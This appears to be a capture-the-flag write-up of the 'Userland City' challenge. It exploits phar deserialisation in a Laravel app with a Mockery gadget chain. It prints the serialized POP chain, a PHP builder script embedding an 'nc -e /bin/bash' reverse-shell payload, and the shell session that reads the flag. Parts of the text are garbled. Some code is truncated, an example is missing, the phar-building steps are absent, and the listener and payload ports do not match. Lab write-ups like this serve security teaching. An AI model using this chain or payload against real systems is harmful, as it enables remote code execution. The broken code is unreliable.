Userland City
Userland City
Difficulty: Medium
Classification: Official
Synopsis
The challenge involves exploiting phar deserialisation with Laravel gadget chains.
Skills Required
HTTP requests interception via proxy tools, e.g., Burp Suite / OWASP ZAP.
Skills Learned
Exploiting phar deserialisation.
Application overview:
Navigation to the website reveals a "deep web" marketplace.
When we go over the products tab, we get the list of products that have been submitted by the
vendor, a link to view the direct link of the listed product's image and confirmation on whether the
listed product it has been published to the marketplace itself.
The about tab contains instructions on how packages should be delivered and received by
vendors/customers, we also see some messages posted by the admin and some vendors. We
confirm that this is not a user interaction related challenge since in one of the updates the
administrator says that he's on leave for 2 weeks.
When we fuzz around with the filename argument on the /products/image path looking for LFI,
we come across the Ignition error page once a HttpException is raised which can be done in a
number of ways and methods.
Through the disclosed code in the stack frames, we can confirm that file related operations are
perform on images that can trigger a phar deserialisation through ProductsController 's
getImage method.
Product::create([
'user_id' => $request->user()->id,
'title' => $request->input('name'),
'category_id' => $request->input('category'),
'description' => $request->input('description'),
'image' => $image->hashName(),
'price' => $request->input('price'),
'is_published' => false
]);
return redirect('/products');
}
if (!Str::startsWith(File::mimeType($filename), 'image/'))
{
return abort(400);
}
return response()->file($filename);
}
}
Since debug mode is enabled we presume that Mockery is installed and we can use a POP chain
to perform RCE.
O:29:"Illuminate\Support\MessageBag":2:{
s:11:"*messages";
a:0:{}
s:9:"*format";
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{
s:9:"*events";
O:25:"Illuminate\Bus\Dispatcher":1:{
s:16:"*queueResolver";
a:2:{
i:0;
O:25:"Mockery\Loader\EvalLoader":0:{}
i:1;
s:4:"load";
}
}
s:8:"*event";
O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{
s:10:"connection";
O:32:"Mockery\Generator\MockDefinition":2:{
s:9:"*config";
O:35:"Mockery\Generator\MockConfiguration":1:{
s:7:"*name";
s:7:"abcdefg";
}
s:7:"*code";
s:35:"<?php echo 'hello world'; exit; ?>";
}
}
}
}
// class: Illuminate/Broadcasting/PendingBroadcast
public function __destruct()
{
$this->events->dispatch($this->event);
}
// class: Illuminate/Bus/Dispatcher
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
// class: Illuminate/Bus/Dispatcher
public function dispatchToQueue($command)
if (method_exists($command, 'queue'))
return $command->queue($queue, $command);
}
On the second line there is a call to the PHP function named call_user_func that is used to call
"variable named functions". It is used like this:
The $callback will be the EvalLoader object and the $parameter will be $command-
>connection . The MockDefinition object contains the members code and config. The config is
just a placeholder config and the code is the payload we want to execute. The queueResolver is
setup so call_user_func will call EvalLoader ’s load function. In that function we see how our
arbitrary code that is stored inside the MockDefinition object gets executed.
// class: Mockery/Loader/EvalLoader
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
We see that getCode is used to get the member named code. The argument to eval is prepended
by "?>" which explains why we wrap our arbitrary code in php tags. Laravel/RCE6 is a serialized
object that is carefully crafted so that an implicit call to destruct leads us down a chain of function
calls:
--> Illuminate/Broadcasting/PendingBroadcast::__destruct()
--------> Illuminate/Bus/Dispatcher::dispatch()
--------------> Illuminate/Bus/Dispatcher::dispatchToQueue()
--------------------> call_user_func()
--------------------------> Mockery/Loader/EvalLoader::load()
--------------------------------> eval()
It ends in a eval call from the EvalLoader::load function, with our arbitrary code as the
argument.
<?php
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = new
\Mockery\Generator\MockDefinition($evilCode);
}
}
}
namespace Illuminate\Support {
class MessageBag {
protected $messages = [];
protected $format;
function __construct($inner) {
$this->format = $inner;
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;
function __construct($evilCode)
{
$this->code = $evilCode;
$this->config = new MockConfiguration();
}
}
class MockConfiguration {
protected $name = 'abcdefg';
}
}
namespace{
$code = '<?php system("nc -e /bin/bash 172.17.0.1 1339") ?>';
$expected = new \Illuminate\Broadcasting\PendingBroadcast($code);
$image = new \Illuminate\Support\MessageBag($expected);
$png = file_get_contents('makelaris.png');
rename('poc.phar', 'payload.png');
}
We now head over to the products tab and click add new product, we then add our own product
and upload our malicious phar package disguised as an image.
We click view image on our added product and invoke the phar:// scheme on that image
filename and get a reverse shell.
$ nc -lvnp 1338
Connection from 192.168.2.2:50287
SHELL=/bin/bash script -q /dev/null
www@ab2c32a9ce57:/www$ cat /flag*
cat flag*
HTB{f4k3_fl4g_f0r_writeup}